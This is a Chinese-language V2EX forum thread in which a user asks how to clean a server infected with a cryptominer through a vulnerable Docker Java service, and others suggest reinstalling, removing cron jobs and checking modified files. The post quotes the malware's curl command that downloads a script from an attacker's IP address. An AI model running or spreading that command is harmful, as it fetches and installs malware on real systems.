服务器被植入挖矿病毒了,基于被挂马的脚本该怎么修复? - V2EX
v2YngK

服务器被植入挖矿病毒了,基于被挂马的脚本该怎么修复?

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  •   v2YngK Jan 21, 2022 2844 views
    This topic created in 1574 days ago, the information mentioned may be changed or developed.

    今天阿里云告警被植入挖矿病毒了,上去检查了一番看见运行了 curl 从他的服务器上拉了一个脚本,求大佬帮助,基于脚本内容该怎么修复服务器?

    curl -fsSL http://192.210.200.66:1234/xmss 
    6 replies    2022-01-21 16:51:25 +08:00
    JDog
        1
    JDog  
       Jan 21, 2022
    不废话,直接重装
    mikeguan
        2
    mikeguan  
       Jan 21, 2022 via Android
    通过这个脚本又学习了

    把定时任务干掉,把任意命令执行的脚本删掉应该就差不多了。

    最关键的是找到从什么地方进来的,你给的脚本并不能反映你系统漏洞在哪
    v2YngK
        3
    v2YngK  
    OP
       Jan 21, 2022
    @JDog 服务太多了,重装成本过高。这是最后没有办法的办法了
    v2YngK
        4
    v2YngK &nsp;
    OP
       Jan 21, 2022
    @mikeguan 查看告警详情是通过 docker 启动的 java 服务,服务已经停了,已经在检查代码漏洞了。目前是想要解决服务器上的问题
    v2YngK
        5
    v2YngK  
    OP
       Jan 21, 2022
    已找到相关样本分析,https://www.52 坡姐.cn/thread-1540889-1-1.html
    gadfly3173
        6
    gadfly3173  
       Jan 21, 2022
    可以考虑先用 sftp 之类的方式把 bash 之类的关键程序都换成干净的,然后检查下全服务器上所有最新修改的文件(如果它的脚本不会去伪造修改时间的话)然后再去看看从哪进来的。如果它会改时间的话还是重装吧
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